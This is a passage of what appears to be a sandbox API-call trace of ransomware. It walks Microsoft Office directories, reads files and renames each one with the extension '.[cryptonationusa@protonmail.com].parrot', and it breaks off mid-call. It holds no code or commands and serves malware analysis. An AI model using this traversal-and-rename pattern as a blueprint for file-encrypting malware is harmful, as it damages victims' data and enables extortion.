[0169.953] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.953] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0169.954] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.958] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf15357e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf15357e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.958] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf150f680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0169.958] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.958] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.960] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.960] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd03, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd03, lpOverlapped=0x0) returned 1 [0169.960] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.964] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.030] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x766, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x766, lpOverlapped=0x0) returned 1 [0170.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.036] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.036] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.036] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.037] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.037] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.037] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0170.037] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.037] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.038] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.038] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x94, lpOverlapped=0x0) returned 1 [0170.038] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.096] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.096] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.097] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.098] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1f0, lpOverlapped=0x0) returned 1 [0170.098] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.266] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.266] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.309] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x401, lpOverlapped=0x0) returned 1 [0170.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.375] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1913ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1913ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.375] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf161a020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0170.376] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.376] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.377] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb0e, lpOverlapped=0x0) returned 1 [0170.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.394] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.395] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x173, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x173, lpOverlapped=0x0) returned 1 [0170.395] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.399] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.399] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.401] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x71e, lpOverlapped=0x0) returned 1 [0170.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.404] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.405] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.405] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.405] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.405] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0170.405] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.405] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.406] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1b8, lpOverlapped=0x0) returned 1 [0170.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.412] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.412] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.413] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.413] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0170.413] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.465] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.465] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.466] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0170.467] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.471] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.471] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1a1e540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1a1e540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.471] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1985fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0170.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.472] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.506] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.507] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbea, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 